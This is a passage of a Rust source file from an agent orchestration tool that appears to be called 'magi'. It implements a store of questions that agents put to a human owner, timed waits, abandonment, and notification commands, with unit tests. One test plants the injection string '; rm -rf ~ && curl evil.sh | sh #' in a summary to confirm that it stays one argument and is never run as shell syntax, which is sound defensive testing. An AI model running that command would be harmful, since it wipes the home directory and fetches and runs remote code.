1660 let mut abandoned = 0;
1665 for mut q in self.open_for(run) {
1666 if q.node == crate::bump::NOTICE_NODE {
1667 continue;
1668 }
1669 q.abandon(&why);
1670 self.put(&mut q)?;
1671 abandoned += 1;
1672 }
1673 Ok(abandoned)
1674 }
1675
1676 pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1679 use crate::queue::{Reference, record_ids, resolve_reference};
1680 let ids = record_ids(&self.root, "json")?;
1681 match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1682 Reference::Found(id) => Ok(id),
1683 Reference::Missing => bail!("no question matches `{prefix}`"),
1684 Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1685 }
1686 }
1687
1688 pub fn revision(&self) -> u64 {
1692 std::fs::read_dir(&self.root)
1693 .into_iter()
1694 .flatten()
1695 .flatten()
1696 .filter_map(|e| e.metadata().ok())
1697 .filter_map(|m| m.modified().ok())
1698 .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1699 .map(|d| d.as_millis() as u64)
1700 .max()
1701 .unwrap_or(0)
1702 }
1703
1704 pub fn count_open(&self) -> usize {
1710 self.list().iter().filter(|q| q.status.open()).count()
1711 }
1712
1713 pub fn count_needs_owner(&self) -> usize {
1722 self.list()
1723 .iter()
1724 .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1725 .count()
1726 }
1727
1728 pub fn deputy_exhausted(&self, q: &Question) -> bool {
1732 q.status.open()
1733 && q.deputy
1734 .as_ref()
1735 .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1736 && !self
1737 .read_lease(&q.id)
1738 .is_some_and(|l| l.fresh(Timestamp::now()))
1739 }
1740}
1741
1742#[derive(Debug, Clone, PartialEq, Eq)]
1744pub enum Wait {
1745 Answered(String),
1747 Replied(String),
1752 Pending,
1759 Abandoned,
1764}
1765
1766pub async fn ask_and_wait(
1773 q: &mut Question,
1774 store: &Questions,
1775 notify: &config::Notify,
1776 timeout: Duration,
1777) -> Result<Wait> {
1778 wait_for_owner(q, store, notify, timeout, POLL).await
1779}
1780
1781pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1796 wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1797}
1798
1799async fn wait_for_owner(
1805 q: &mut Question,
1806 store: &Questions,
1807 cfg: &config::Notify,
1808 timeout: Duration,
1809 poll: Duration,
1810) -> Result<Wait> {
1811 if !store.path_of(&q.id).is_file() {
1815 store.put(q).context("file the question")?;
1816 }
1817 if q.should_notify(Timestamp::now()) {
1818 if let Err(e) = notify(cfg, q).await {
1819 tracing::warn!(
1824 "could not notify about question {}: {e:#} - the web UI is the \
1825 only surface for it now",
1826 q.short()
1827 );
1828 }
1829 }
1830 tracing::info!(
1831 "question {} from {} is waiting for you: {}",
1832 q.short(),
1833 q.seat,
1834 q.summary
1835 );
1836 wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1837}
1838
1839fn hold(store: &Questions, id: &str) {
1841 store.beat(id, WaiterKind::Asker);
1842 let took = store.update(id, |q| {
1843 if q.status.open() {
1844 q.waiter = Some(Waiter {
1845 kind: WaiterKind::Asker,
1846 since: Timestamp::now(),
1847 });
1848 }
1849 Ok(())
1850 });
1851 if let Err(e) = took {
1852 tracing::debug!("could not note the wait on question {id}: {e:#}");
1853 }
1854}
1855
1856pub fn hand_over(store: &Questions, q: &mut Question) {
1864 let done = store.update(&q.id, |r| {
1865 r.delivered_turns = r.delivered_turns.max(q.thread.len());
1866 if r.status == QuestionStatus::Answered {
1867 r.answer_delivered = true;
1868 }
1869 r.waiter = None;
1870 Ok(())
1871 });
1872 match done {
1873 Ok((fresh, ())) => *q = fresh,
1874 Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1875 }
1876}
1877
1878pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1882 let says = q.undelivered_owner_turns();
1883 if says.is_empty() {
1884 return answer.to_owned();
1885 }
1886 format!(
1887 "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
1888 says.join("\n\n")
1889 )
1890}
1891
1892pub fn deliver_answer(
1895 store: &Questions,
1896 q: &mut Question,
1897 answer: &str,
1898 out: &mut impl std::io::Write,
1899) -> std::io::Result<()> {
1900 writeln!(out, "{}", answer_for_agent(q, answer))?;
1901 out.flush()?;
1902 hand_over(store, q);
1903 Ok(())
1904}
1905
1906async fn wait_loop(
1916 q: &mut Question,
1917 store: &Questions,
1918 timeout: Duration,
1919 slice: Duration,
1920 poll: Duration,
1921) -> Result<Wait> {
1922 if let Some(said) = q.unread_from_owner() {
1932 return Ok(Wait::Replied(said));
1933 }
1934 hold(store, &q.id);
1935
1936 let bounded = timeout.min(slice);
1937 let is_the_real_deadline = bounded >= timeout;
1938 let deadline = tokio::time::Instant::now() + bounded;
1939 loop {
1940 let now = tokio::time::Instant::now();
1941 if now >= deadline {
1942 if !is_the_real_deadline {
1943 return Ok(Wait::Pending);
1947 }
1948 let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
1949 let (fresh, unread) = store
1953 .update(&q.id, |r| {
1954 let unread = r.unread_from_owner();
1955 if unread.is_none() {
1956 r.abandon(&why);
1957 r.waiter = None;
1958 }
1959 Ok(unread)
1960 })
1961 .context("record the abandoned question")?;
1962 *q = fresh;
1963 if let Some(said) = unread {
1964 return Ok(Wait::Replied(said));
1965 }
1966 tracing::warn!(
1967 "question {} went unanswered for {}s; the run parks and the \
1968 question stays as the record of it",
1969 q.short(),
1970 timeout.as_secs()
1971 );
1972 return Ok(Wait::Abandoned);
1973 }
1974 tokio::time::sleep(poll.min(deadline - now)).await;
1975 store.beat(&q.id, WaiterKind::Asker);
1976 match store.get(&q.id) {
1977 Ok(fresh) if !fresh.status.open() => {
1978 *q = fresh;
1982 return Ok(match q.resolution() {
1983 Some(a) => Wait::Answered(a),
1984 None => Wait::Abandoned,
1987 });
1988 }
1989 Ok(fresh) => {
1990 if let Some(said) = fresh.unread_from_owner() {
1991 *q = fresh;
1992 return Ok(Wait::Replied(said));
1993 }
1994 }
1997 Err(e) => {
1998 tracing::debug!("could not re-read question {}: {e:#}", q.short());
2002 }
2003 }
2004 }
2005}
2006
2007pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
2018 let mut summary = format!("Question {}: {}", q.short(), q.summary.trim());
2019 if q.status.open() {
2020 summary.push_str(&format!(
2021 " Respond in Questions or with `magi answer {}`.",
2022 q.id
2023 ));
2024 }
2025 let url = question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default());
2026 notify_at(cmd, &q.run, &summary, &url).await
2027}
2028
2029pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
2032 let url = view_url(
2033 &std::env::var(WEB_URL_ENV).unwrap_or_default(),
2034 "notifications",
2035 );
2036 notify_at(cmd, run, summary, &url).await
2037}
2038
2039async fn notify_at(cmd: &config::Notify, run: &str, summary: &str, url: &str) -> Result<()> {
2040 let Some((program, args)) = cmd.command.split_first() else {
2041 return Ok(());
2043 };
2044 if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
2045 tracing::warn!(
2046 "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
2047 so the link will be empty - export it next to `magi serve` with \
2048 the address `magi web --open` printed"
2049 );
2050 }
2051 let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, url)).collect();
2052 tracing::debug!(program = %program, args = ?argv, "notifying");
2053
2054 let mut child = tokio::process::Command::new(program);
2055 child.quiet();
2056 child
2057 .args(&argv)
2058 .stdin(std::process::Stdio::null())
2059 .kill_on_drop(true);
2062 let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
2063 Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
2064 Err(_) => bail!(
2065 "notification command `{program}` did not finish within {}s",
2066 NOTIFY_TIMEOUT.as_secs()
2067 ),
2068 };
2069 if !out.status.success() {
2070 let stderr = String::from_utf8_lossy(&out.stderr);
2071 let why = stderr
2072 .lines()
2073 .rev()
2074 .find(|l| !l.trim().is_empty())
2075 .unwrap_or("no output on stderr")
2076 .trim();
2077 bail!(
2078 "notification command `{program}` exited with {}: {why}",
2079 out.status
2080 );
2081 }
2082 Ok(())
2083}
2084
2085fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
2091 let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
2092 let mut out = String::with_capacity(template.len());
2093 let mut rest = template;
2094 while let Some(at) = rest.find('{') {
2095 out.push_str(&rest[..at]);
2096 let tail = &rest[at..];
2097 match table.iter().find(|(token, _)| tail.starts_with(token)) {
2098 Some((token, value)) => {
2099 out.push_str(value);
2100 rest = &tail[token.len()..];
2101 }
2102 None => {
2103 out.push('{');
2105 rest = &tail[1..];
2106 }
2107 }
2108 }
2109 out.push_str(rest);
2110 out
2111}
2112
2113fn question_url(base: &str) -> String {
2120 view_url(base, "questions")
2121}
2122
2123fn view_url(base: &str, view: &str) -> String {
2124 let base = base.trim().trim_end_matches('/');
2125 if base.is_empty() || base.contains('#') {
2126 return base.to_owned();
2127 }
2128 format!("{base}/#/{view}")
2129}
2130
2131fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
2136 let index = dir.join(PANEL_HTML);
2137 std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
2138 for (name, src) in assets {
2139 let dst = dir.join(name);
2140 std::fs::copy(src, &dst)
2141 .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
2142 }
2143 Ok(())
2144}
2145
2146fn clear_dir(path: &Path) -> Result<()> {
2151 match std::fs::remove_dir_all(path) {
2152 Ok(()) => Ok(()),
2153 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
2154 Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
2155 }
2156}
2157
2158fn read_path(path: &Path) -> Result<Question> {
2159 let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
2160 let q: Question =
2161 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2162 if q.schema > SCHEMA {
2163 bail!(
2168 "question {} was written by a newer magi (schema {}, this build \
2169 only speaks up to {SCHEMA})",
2170 q.id,
2171 q.schema
2172 );
2173 }
2174 Ok(q)
2175}
2176
2177pub fn short_id(id: &str) -> &str {
2179 short(id)
2180}
2181
2182fn short(id: &str) -> &str {
2183 id.split('-').next_back().unwrap_or(id)
2184}
2185
2186fn new_id() -> String {
2187 let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
2188 let seed = crate::rng::entropy();
2189 format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
2190}
2191
2192#[cfg(test)]
2193mod tests {
2194 use super::*;
2195
2196 fn store() -> (tempfile::TempDir, Questions) {
2199 let dir = tempfile::tempdir().unwrap();
2200 let s = Questions::at(dir.path().join("questions"));
2201 (dir, s)
2202 }
2203
2204 #[test]
2205 fn run_names_task_only_for_task_questions() {
2206 for (node, want) in [
2207 (crate::conduct::NODE, true),
2208 (crate::triage::NODE, true),
2209 (crate::triage::DEPS_NODE, true),
2210 (crate::land::APPROVAL_NODE, false),
2211 (crate::bump::NOTICE_NODE, false),
2212 ("implement", false),
2213 ] {
2214 let mut q = choice_question();
2215 q.node = node.to_owned();
2216 assert_eq!(q.run_names_task(), want, "{node}");
2217 }
2218 }
2219
2220 #[test]
2221 fn deleting_a_run_stops_its_questions_asking() {
2222 let (_dir, store) = store();
2223
2224 let mut open_one = choice_question();
2225 store.put(&mut open_one).unwrap();
2226 let mut answered = free_question();
2227 answered
2228 .answer(Answer::Text("keep this".to_owned()))
2229 .unwrap();
2230 store.put(&mut answered).unwrap();
2231 let mut elsewhere = choice_question();
2232 elsewhere.run = "20260903-105039-3cbf".to_owned();
2233 store.put(&mut elsewhere).unwrap();
2234
2235 let n = store
2236 .abandon_for_run(&open_one.run, "run was deleted")
2237 .unwrap();
2238 assert_eq!(n, 1, "only the open question of that run");
2239
2240 let back = store.get(&open_one.id).unwrap();
2241 assert!(!back.status.open(), "it no longer asks for a decision");
2242 assert!(
2243 back.detail.contains("run was deleted"),
2244 "the operator can see why: {}",
2245 back.detail
2246 );
2247
2248 let kept = store.get(&answered.id).unwrap();
2249 assert_eq!(
2250 kept.status,
2251 QuestionStatus::Answered,
2252 "an answered question is a decision on record, not something to revoke"
2253 );
2254 assert!(
2255 store.get(&elsewhere.id).unwrap().status.open(),
2256 "another run's question is untouched"
2257 );
2258 assert!(store.open_for(&open_one.run).is_empty());
2259 }
2260
2261 #[test]
2262 fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2263 let (_dir, store) = store();
2264 let mut q = choice_question();
2265 store.put(&mut q).unwrap();
2266
2267 let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2269 assert_eq!(n, 0);
2270 assert!(store.get(&q.id).unwrap().status.open());
2271
2272 let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2275 assert_eq!(n, 1);
2276 let back = store.get(&q.id).unwrap();
2277 assert!(!back.status.open());
2278 assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2279
2280 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2282 }
2283
2284 fn choice_question() -> Question {
2285 Question::new(
2286 "20260902-201256-9fb7".to_owned(),
2287 "implement".to_owned(),
2288 "impl-A".to_owned(),
2289 "Which storage backend should the cache use?".to_owned(),
2290 "Both are already dependencies.".to_owned(),
2291 vec!["SQLite".to_owned(), "Redis".to_owned()],
2292 )
2293 }
2294
2295 fn free_question() -> Question {
2296 Question::new(
2297 "20260902-201256-9fb7".to_owned(),
2298 "review".to_owned(),
2299 "rev-1".to_owned(),
2300 "What should the error message say?".to_owned(),
2301 String::new(),
2302 Vec::new(),
2303 )
2304 }
2305
2306 fn quiet() -> config::Notify {
2308 config::Notify::default()
2309 }
2310
2311 #[test]
2312 fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2313 let mut q = choice_question();
2317 q.id = "20260902-231501-ab12".to_owned();
2318 let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2319 let keys: Vec<&str> = open
2323 .as_object()
2324 .unwrap()
2325 .keys()
2326 .map(String::as_str)
2327 .collect();
2328 assert_eq!(
2329 keys,
2330 [
2331 "actions",
2332 "answer",
2333 "answer_delivered",
2334 "answer_timeout",
2335 "answered_at",
2336 "asked_at",
2337 "assets",
2338 "choices",
2339 "consult",
2340 "cwd",
2341 "decision_context",
2342 "delivered_turns",
2343 "deputy",
2344 "detail",
2345 "id",
2346 "merge_target",
2347 "node",
2348 "panel",
2349 "run",
2350 "schema",
2351 "seat",
2352 "status",
2353 "summary",
2354 "thread",
2355 "triage_generation",
2356 "waiter",
2357 ],
2358 "the on-disk field set is a contract with the front end"
2359 );
2360 assert_eq!(open["schema"], 12);
2361 assert_eq!(open["merge_target"], serde_json::Value::Null);
2362 assert_eq!(open["triage_generation"], serde_json::Value::Null);
2363 assert_eq!(open["thread"], serde_json::json!([]));
2364 assert_eq!(open["id"], "20260902-231501-ab12");
2365 assert_eq!(open["run"], "20260902-201256-9fb7");
2366 assert_eq!(open["node"], "implement");
2367 assert_eq!(open["seat"], "impl-A");
2368 assert_eq!(open["status"], "open");
2369 assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2370 assert_eq!(open["answered_at"], serde_json::Value::Null);
2371 assert_eq!(open["answer"], serde_json::Value::Null);
2372 let asked = open["asked_at"].as_str().unwrap();
2373 assert!(
2374 asked.ends_with('Z') && asked.contains('T'),
2375 "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2376 );
2377
2378 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2380 let answered = serde_json::to_value(&q).unwrap();
2381 assert_eq!(answered["status"], "answered");
2382 assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2383 assert!(answered["answered_at"].is_string());
2384
2385 let mut free = free_question();
2387 free.answer(Answer::Text("Say which file it was".to_owned()))
2388 .unwrap();
2389 assert_eq!(
2390 serde_json::to_value(&free).unwrap()["answer"],
2391 serde_json::json!({"text": "Say which file it was"})
2392 );
2393
2394 let body = serde_json::to_string(&q).unwrap();
2396 assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2397 }
2398
2399 #[test]
2400 fn merge_target_persists_and_schema_10_questions_remain_readable() {
2401 let (_dir, store) = store();
2402 let mut q = approval_question();
2403 q.merge_target = Some(crate::merge_decision::Target {
2404 pr: "https://github.com/example/repo/pull/42".into(),
2405 head: "reviewed-head".into(),
2406 language: "ja".into(),
2407 });
2408 store.put(&mut q).unwrap();
2409 let saved = store.get(&q.id).unwrap();
2410 assert_eq!(saved, q);
2411 let mut body = serde_json::to_value(&saved).unwrap();
2412 assert_eq!(body["schema"], 12);
2413 assert_eq!(
2414 body["merge_target"],
2415 serde_json::json!({
2416 "pr": "https://github.com/example/repo/pull/42",
2417 "head": "reviewed-head",
2418 "language": "ja"
2419 })
2420 );
2421
2422 body["schema"] = serde_json::json!(10);
2425 body.as_object_mut().unwrap().remove("merge_target");
2426 std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2427 let legacy = store.get(&q.id).unwrap();
2428 assert_eq!(legacy.schema, 10);
2429 assert!(legacy.merge_target.is_none());
2430 assert_eq!(legacy.choices, q.choices);
2431 assert_eq!(legacy.status, q.status);
2432 }
2433
2434 #[test]
2435 fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2436 let mut unoffered = choice_question();
2439 let a = unoffered
2440 .answer(Answer::Choice("Postgres".to_owned()))
2441 .unwrap_err()
2442 .to_string();
2443
2444 let mut typed = choice_question();
2445 let b = typed
2446 .answer(Answer::Text("use Postgres".to_owned()))
2447 .unwrap_err()
2448 .to_string();
2449
2450 let mut blank = free_question();
2451 let c = blank
2452 .answer(Answer::Text(" \n".to_owned()))
2453 .unwrap_err()
2454 .to_string();
2455
2456 let mut twice = choice_question();
2457 twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2458 let d = twice
2459 .answer(Answer::Choice("Redis".to_owned()))
2460 .unwrap_err()
2461 .to_string();
2462
2463 assert!(a.contains("not one of the choices"), "{a}");
2464 assert!(b.contains("multiple choice"), "{b}");
2465 assert!(c.contains("empty"), "{c}");
2466 assert!(d.contains("already answered"), "{d}");
2467 let mut distinct = vec![a, b, c, d];
2468 let asked = distinct.len();
2469 distinct.sort_unstable();
2470 distinct.dedup();
2471 assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2472
2473 assert_eq!(unoffered.status, QuestionStatus::Open);
2475 assert_eq!(typed.status, QuestionStatus::Open);
2476 assert_eq!(blank.status, QuestionStatus::Open);
2477 assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2479
2480 let mut free = free_question();
2482 let e = free
2483 .answer(Answer::Choice("SQLite".to_owned()))
2484 .unwrap_err()
2485 .to_string();
2486 assert!(e.contains("free text"), "{e}");
2487 }
2488
2489 #[test]
2490 fn open_questions_are_listed_before_answered_ones() {
2491 let (_dir, s) = store();
2492 let mut old_open = choice_question();
2495 old_open.id = "20260101-000001-aaaa".to_owned();
2496 let mut new_open = choice_question();
2497 new_open.id = "20260101-000002-bbbb".to_owned();
2498 let mut answered = choice_question();
2499 answered.id = "20260101-000003-cccc".to_owned();
2500 answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2501 for q in [&mut old_open, &mut new_open, &mut answered] {
2502 s.put(q).unwrap();
2503 }
2504
2505 let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2506 assert_eq!(
2507 ids,
2508 [
2509 "20260101-000002-bbbb",
2510 "20260101-000001-aaaa",
2511 "20260101-000003-cccc"
2512 ],
2513 "what has stopped work comes first; history sorts underneath"
2514 );
2515 assert_eq!(s.count_open(), 2);
2516 assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2517 assert!(s.open_for("some-other-run").is_empty());
2518 assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2520 assert!(s.get("20260101-000002-bbbb").is_ok());
2521 assert!(s.resolve_id("nope").is_err());
2522 assert!(
2523 s.revision() > 0,
2524 "the store's mtime drives the phone's polling"
2525 );
2526 }
2527
2528 #[test]
2529 fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2530 let (_dir, s) = store();
2531 let mut good = choice_question();
2532 s.put(&mut good).unwrap();
2533 std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2535 let future = serde_json::json!({
2536 "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2537 "seat": "s", "summary": "?", "detail": "", "choices": [],
2538 "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2539 "answered_at": null, "answer": null,
2540 });
2541 std::fs::write(
2542 s.path_of("20260101-000010-beef"),
2543 serde_json::to_string(&future).unwrap(),
2544 )
2545 .unwrap();
2546
2547 let listed = s.list();
2548 assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2549 assert_eq!(listed[0].id, good.id);
2550 let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2552 assert!(e.contains("schema"), "{e}");
2553 }
2554
2555 #[tokio::test]
2556 async fn the_wait_returns_the_answer_another_process_wrote() {
2557 let (dir, s) = store();
2562 let mut q = choice_question();
2563 let id = q.id.clone();
2564 let writer = Questions::at(dir.path().join("questions"));
2565 let handle = tokio::spawn(async move {
2566 tokio::time::sleep(Duration::from_millis(30)).await;
2567 let mut fresh = writer.get(&id).expect("the question was filed first");
2568 fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2569 writer.put(&mut fresh).unwrap();
2570 });
2571
2572 let got = wait_for_owner(
2573 &mut q,
2574 &s,
2575 &quiet(),
2576 Duration::from_secs(5),
2577 Duration::from_millis(10),
2578 )
2579 .await
2580 .unwrap();
2581
2582 handle.await.unwrap();
2583 assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2584 assert_eq!(
2585 q.status,
2586 QuestionStatus::Answered,
2587 "the caller's copy is refreshed from the answering process's record"
2588 );
2589 assert!(q.answered_at.is_some());
2590 }
2591
2592 #[tokio::test]
2593 async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2594 let (_dir, s) = store();
2595 let mut q = choice_question();
2596
2597 let got = wait_for_owner(
2598 &mut q,
2599 &s,
2600 &quiet(),
2601 Duration::from_millis(60),
2602 Duration::from_millis(10),
2603 )
2604 .await
2605 .unwrap();
2606
2607 assert_eq!(
2608 got,
2609 Wait::Abandoned,
2610 "a slow human is not an error; the run parks"
2611 );
2612 assert_eq!(q.status, QuestionStatus::Abandoned);
2613 let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2614 assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2615 assert!(
2616 on_disk.detail.contains("Abandoned:"),
2617 "why nobody answered belongs with the question: {}",
2618 on_disk.detail
2619 );
2620 assert!(on_disk.resolution().is_none());
2621 assert_eq!(s.count_open(), 0);
2622 }
2623
2624 #[tokio::test]
2625 async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2626 let (_dir, s) = store();
2631 let mut q = choice_question();
2632 s.put(&mut q).unwrap();
2633
2634 let got = wait_loop(
2635 &mut q,
2636 &s,
2637 Duration::from_secs(3600),
2638 Duration::from_millis(30),
2639 Duration::from_millis(10),
2640 )
2641 .await
2642 .unwrap();
2643
2644 assert_eq!(
2645 got,
2646 Wait::Pending,
2647 "the clock on this call ran out, not the owner's patience"
2648 );
2649 assert_eq!(
2650 q.status,
2651 QuestionStatus::Open,
2652 "a slice expiring must never abandon the question"
2653 );
2654 let on_disk = s.get(&q.id).expect("still on disk, still open");
2655 assert_eq!(
2656 on_disk.status,
2657 QuestionStatus::Open,
2658 "nothing about the record changed just because this call gave up"
2659 );
2660 }
2661
2662 #[tokio::test]
2663 async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2664 let (dir, s) = store();
2669 let mut q = choice_question();
2670 s.put(&mut q).unwrap();
2671
2672 let first = wait_loop(
2673 &mut q,
2674 &s,
2675 Duration::from_secs(3600),
2676 Duration::from_millis(30),
2677 Duration::from_millis(10),
2678 )
2679 .await
2680 .unwrap();
2681 assert_eq!(first, Wait::Pending);
2682
2683 let id = q.id.clone();
2684 let writer = Questions::at(dir.path().join("questions"));
2685 let mut fresh = writer.get(&id).unwrap();
2686 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2687 writer.put(&mut fresh).unwrap();
2688
2689 let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2694 .await
2695 .unwrap();
2696 assert_eq!(second, Wait::Answered("Redis".to_owned()));
2697 assert_eq!(q.status, QuestionStatus::Answered);
2698 }
2699
2700 #[tokio::test]
2701 async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2702 let (dir, s) = store();
2712 let mut q = choice_question();
2713 s.put(&mut q).unwrap();
2714
2715 let first = wait_loop(
2716 &mut q,
2717 &s,
2718 Duration::from_secs(3600),
2719 Duration::from_millis(30),
2720 Duration::from_millis(10),
2721 )
2722 .await
2723 .unwrap();
2724 assert_eq!(first, Wait::Pending);
2725
2726 let id = q.id.clone();
2728 let writer = Questions::at(dir.path().join("questions"));
2729 let mut fresh = writer.get(&id).unwrap();
2730 fresh.say("why not Postgres?").unwrap();
2731 writer.put(&mut fresh).unwrap();
2732
2733 let mut resumed = s.get(&id).unwrap();
2737 let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2738 .await
2739 .unwrap();
2740 assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2741 assert_eq!(
2742 resumed.status,
2743 QuestionStatus::Open,
2744 "talking back is not a decision; the question stays open"
2745 );
2746 }
2747
2748 #[tokio::test]
2749 async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2750 let (dir, s) = store();
2754 let broken = config::Notify {
2755 command: vec![
2756 "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2757 "{summary}".to_owned(),
2758 ],
2759 };
2760 let mut q = choice_question();
2761 assert!(
2762 notify(&broken, &q).await.is_err(),
2763 "the caller is told; it decides that it does not matter"
2764 );
2765
2766 let id = q.id.clone();
2767 let writer = Questions::at(dir.path().join("questions"));
2768 let handle = tokio::spawn(async move {
2769 tokio::time::sleep(Duration::from_millis(30)).await;
2770 let mut fresh = writer.get(&id).unwrap();
2771 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2772 writer.put(&mut fresh).unwrap();
2773 });
2774 let got = wait_for_owner(
2775 &mut q,
2776 &s,
2777 &broken,
2778 Duration::from_secs(5),
2779 Duration::from_millis(10),
2780 )
2781 .await
2782 .unwrap();
2783 handle.await.unwrap();
2784 assert_eq!(got, Wait::Answered("Redis".to_owned()));
2785
2786 assert!(notify(&quiet(), &q).await.is_ok());
2788 assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2789 }
2790
2791 #[tokio::test]
2792 async fn external_question_notification_names_the_supported_response_path() {
2793 let dir = tempfile::tempdir().unwrap();
2794 let path = dir.path().join("page");
2795 let cmd = config::Notify {
2796 command: vec![
2797 "sh".into(),
2798 "-c".into(),
2799 "printf '%s' \"$1\" > \"$2\"".into(),
2800 "notify".into(),
2801 "{summary}".into(),
2802 path.to_string_lossy().into_owned(),
2803 ],
2804 };
2805 let q = choice_question();
2806 notify(&cmd, &q).await.unwrap();
2807 let sent = std::fs::read_to_string(&path).unwrap();
2808 assert!(sent.starts_with("Question "));
2809 assert!(sent.contains(&q.summary));
2810 assert!(sent.contains(&format!("magi answer {}", q.id)));
2811 notify_text(&cmd, "", "Informational report. No reply needed.")
2812 .await
2813 .unwrap();
2814 assert_eq!(
2815 std::fs::read_to_string(&path).unwrap(),
2816 "Informational report. No reply needed."
2817 );
2818 }
2819
2820 #[test]
2821 fn external_notifications_and_questions_have_distinct_destinations() {
2822 assert_eq!(
2823 question_url("https://example.invalid/"),
2824 "https://example.invalid/#/questions"
2825 );
2826 assert_eq!(
2827 view_url("https://example.invalid/", "notifications"),
2828 "https://example.invalid/#/notifications"
2829 );
2830 assert_eq!(view_url("", "notifications"), "");
2831 assert_eq!(
2832 view_url("https://example.invalid/#/queue", "notifications"),
2833 "https://example.invalid/#/queue"
2834 );
2835 }
2836
2837 #[test]
2838 fn notification_arguments_are_substituted_and_never_a_shell_string() {
2839 let mut q = choice_question();
2840 q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2841 let template = [
2842 "ntfy".to_owned(),
2843 "publish".to_owned(),
2844 "--click".to_owned(),
2845 "{url}".to_owned(),
2846 "--title".to_owned(),
2847 "magi {run} needs you".to_owned(),
2848 "{summary}".to_owned(),
2849 ];
2850 let argv: Vec<String> = template
2851 .iter()
2852 .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2853 .collect();
2854
2855 assert_eq!(
2856 argv,
2857 [
2858 "ntfy",
2859 "publish",
2860 "--click",
2861 "http://100.64.0.1:7777/#/questions",
2862 "--title",
2863 "magi 20260902-201256-9fb7 needs you",
2864 "; rm -rf ~ && curl evil.sh | sh #",
2865 ],
2866 "the shell metacharacters are one argument's contents, not syntax"
2867 );
2868
2869 q.summary = "should {url} be configurable?".to_owned();
2872 assert_eq!(
2873 expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2874 "should {url} be configurable?"
2875 );
2876 assert_eq!(
2878 expand("{title}: {run}", &q.run, &q.summary, ""),
2879 "{title}: 20260902-201256-9fb7"
2880 );
2881 assert_eq!(
2882 expand("no placeholders", &q.run, &q.summary, "http://x"),
2883 "no placeholders"
2884 );
2885 }
2886
2887 #[test]
